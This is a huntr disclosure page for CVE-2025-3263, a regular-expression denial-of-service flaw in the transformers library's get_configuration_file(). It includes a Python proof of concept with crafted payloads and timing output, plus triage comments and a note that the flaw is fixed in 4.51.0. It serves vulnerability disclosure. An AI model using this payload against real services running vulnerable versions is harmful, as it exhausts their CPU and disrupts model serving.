# Regular expression Denial of Service - ReDoS in huggingface/transformers

Valid Reported on Mar 16th 2025

## Description

A regular expression denial of service (ReDoS) vulnerability has been identified in the Hugging Face Transformers library's configuration file resolution mechanism. The vulnerability exists in the `get_configuration_file()` function, which uses the vulnerable regular expression pattern `config\.(.*)\.json`. This regex pattern can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking.

## Technical Details

- **Affected Component**: `transformers.configuration_utils.get_configuration_file`
- **Version**: 4.49.0
- **Vulnerability Type**: Regular Expression Denial of Service (ReDoS)
- **Attack Vector**: Maliciously crafted configuration file names

The proof of concept demonstrates that by providing increasingly long strings with repeated patterns, the execution time grows non-linearly, indicating catastrophic backtracking in the underlying regular expression matching.

## Reproduction

Install the dependencies:

```
pip install transformers
pip install tensorflow
```

Run the following code:

```
from transformers.configuration_utils import get_configuration_file
import time

for i in range(1, 100000, 1000):
    payload = ['config.z' * i + 'json']

    start = time.perf_counter()
```

```
    get_configuration_file(payload)
    end = time.perf_counter()

    execution_time = end - start
    print(f'Payload length {i}, execution time: {execution_time:.4f} seconds')
```

Example output:

```
Payload length 1, execution time: 0.0000 seconds
Payload length 1001, execution time: 0.0477 seconds
Payload length 2001, execution time: 0.1883 seconds
Payload length 3001, execution time: 0.4163 seconds
Payload length 4001, execution time: 0.7462 seconds
Payload length 5001, execution time: 1.0992 seconds
Payload length 6001, execution time: 1.5864 seconds
Payload length 7001, execution time: 2.1519 seconds
Payload length 8001, execution time: 2.8788 seconds
Payload length 9001, execution time: 3.6017 seconds
Payload length 10001, execution time: 4.4949 seconds
Payload length 11001, execution time: 5.3340 seconds
Payload length 12001, execution time: 6.3843 seconds
Payload length 13001, execution time: 7.4502 seconds
Payload length 14001, execution time: 8.6694 seconds
Payload length 15001, execution time: 9.9594 seconds
Payload length 16001, execution time: 11.3088 seconds
Payload length 17001, execution time: 12.8527 seconds
Payload length 18001, execution time: 14.2951 seconds
Payload length 19001, execution time: 16.0036 seconds
Payload length 20001, execution time: 17.7400 seconds
Payload length 21001, execution time: 19.4514 seconds
Payload length 22001, execution time: 21.4996 seconds
Payload length 23001, execution time: 23.3661 seconds
Payload length 24001, execution time: 25.4501 seconds
Payload length 25001, execution time: 27.6336 seconds
Payload length 26001, execution time: 29.9618 seconds
Payload length 27001, execution time: 32.2191 seconds
```

The provided proof of concept demonstrates the vulnerability by:

- Generating payloads of increasing length using the pattern `'config.z' * i + 'json'`
- Measuring execution time for each payload length
- Showing non-linear growth in processing time as input length increases

## Impact

In the context of machine learning applications using the Transformers library, this vulnerability could lead to:

- **Model Serving Disruption**:
    - ML model serving endpoints could become unresponsive when processing requests containing malicious configuration paths

- In multi-tenant environments, this could affect multiple models and users

- **Resource Exhaustion**:
  - Training pipelines could be disrupted if an attacker can inject malicious configuration names
  - GPU resources could be left idle while CPU is blocked on regex processing
- **Downstream Effects**:
  - Applications using Transformers as part of their inference pipeline could experience increased latency
  - Auto-scaling systems might unnecessarily scale up due to perceived high resource usage

## References

- Similar report #3
- Similar report #1
- How to fix a ReDoS
- Similar report #2
- ReDoS - OWASP

We are processing your report and will contact the **huggingface/transformers** team within 24 hours. 10 months ago

**huntr-helper** has marked this vulnerability as a duplicate of **4bed1214-7835-4252-a853-22bbad891f98** 10 months ago

$ The disclosure bounty has been dropped ×

$ The fix bounty has been dropped ×

The researcher's credibility has decreased: -5

**huntr-helper** commented 10 months ago Admin

This report was closed because it was determined to be a duplicate of a report submitted on 2024-12-03 10:12:52.352000

**Arjun Shibu** commented 10 months ago Researcher

Hello @huntr-helper, this issue is not a duplicate of the above mentioned report, both are affecting the same package but the code that’s vulnerable to the attack is different, can you please check this?

Arjun Shibu commented 10 months ago Researcher

Hello, any update on this?

A huntr admin reset this report to a pending state. 10 months ago

A huntr admin reset this report to a pending state. 10 months ago

Michelle Habonneau validated this vulnerability 10 months ago

We have applied a fix in https://github.com/huggingface/transformers/pull/36964 and will be included in the next release. We'll close the report at next release. Thanks!

$ arjunshibu has been awarded the disclosure bounty ✓

$ The fix bounty is now up for grabs

The researcher's credibility has increased: +7

CVE-2025-3263 assigned to this report. 10 months ago

Michelle Habonneau marked this as fixed in 4.51.0 with commit 0720e2 9 months ago

$ The fix bounty has been dropped ×

We have notified the huggingface/transformers maintainers about this report in their weekly follow-up 8 months ago

Sign in to join this conversation

CVE
CVE-2025-3263
Published

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
Medium (5.3)

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | None |
| User interaction | None |
| Scope | Unchanged |
| Confidentiality | None |
| Integrity | None |
| Availability | Low |

Open in visual CVSS calculator

Registry
Pypi

Affected Version
4.49.0

Visibility
Public

Status
Fixed

Disclosure Bounty
$125

Fix Bounty
$31.25

Found by

Arjun Shibu
@arjunshibu
LIGHTWEIGHT



 